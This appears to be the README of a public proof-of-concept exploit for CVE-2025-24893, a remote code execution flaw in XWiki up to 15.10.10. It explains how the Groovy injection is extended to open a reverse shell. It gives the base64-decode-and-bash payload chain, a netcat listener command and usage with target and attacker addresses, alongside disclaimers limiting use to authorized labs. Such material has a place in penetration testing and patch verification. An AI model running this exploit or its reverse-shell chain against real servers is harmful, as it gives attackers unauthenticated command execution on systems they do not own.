CVE-2025-24893 PoC — Remote code execution as guest via SolrSearchMacros request in xwiki

Description

CVE-2025-24893 RCE exploit for XWiki with reverse shell capability

Readme

# CVE-2025-24893 Reverse Shell Exploit for XWiki

**Disclaimer:** This script is intended for **educational purposes and authorized security testing only**. Do **not** use on systems you do not own or have explicit permission to test. Misuse can be illegal and dangerous.

## Description
This Python script exploits **CVE-2025-24893**, a Remote Code Execution vulnerability affecting XWiki versions up to **15.10.10**.

- **Tested Version:** XWiki 15.10.8
- **Impact:** Allows execution of arbitrary commands on the target server.
- **Python Version:** Written and tested in **Python 3**

This version **extends the original PoC** by Al Baradi Joy to spawn a **reverse shell**. The original PoC can be found [here](https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py).

## How It Works
- XWiki executes Groovy code via the URL parameter.
- The exploit injects a **`bash -c` command** into this Groovy template.
- A normal reverse shell contains multiple quotes (`'` and `"`) that would **break Groovy evaluation** and the URL.
- To solve this, the script **encodes the one-line shell command in Base64**.
- The payload is then sent in the URL and executed using the following chain:

    `{echo,<base64>} | {base64,-d} | {bash,-i}`

- This decodes the Base64 payload safely and executes it with `bash -i`, giving an interactive reverse shell.

## Target URL Format
- **Format:** `http://<target-host>`
- **Do NOT include:**
  - A trailing slash `/` at the end
  - The `/xwiki` path (the script appends it automatically)

**Examples:**

    # Correct
    http://10.129.95.114:8080
    http://example.com:8080

    # Incorrect
    http://10.129.95.114:8080/         # trailing slash
    http://example.com/xwiki            # includes /xwiki

## Listener Setup
Before running the exploit, you **must start a listener** on your machine to catch the reverse shell.

**Example using Netcat:**

    nc -lvnp <lport>

- `<lport>` should match the port you provide as an argument to the script.

## Usage

    python3 cve-2025-24893.py <target_base_url> <lhost> <lport>

**Example:**

    python3 cve-2025-24893.py http://10.129.95.114:8080 10.0.0.5 4444

- The script prints the full exploit URL, Base64 payload, and instructions for checking your listener.

## References
- [GHSA Advisory](https://github.com/advisories/GHSA-rr6p-3pfg-562j)
- [XWiki Homepage](https://www.xwiki.org/)
- Original PoC by [Al Baradi Joy](https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py)

## Credits
- Original Proof-of-Concept: Al Baradi Joy
- This version: Upgraded to spawn a reverse shell for interactive command execution

## Warning
- Use this exploit **only in controlled environments** (HTB, lab machines, VMs you own).
- Unauthorized use on public servers is illegal and can result in criminal charges.

File Snapshot

Remarks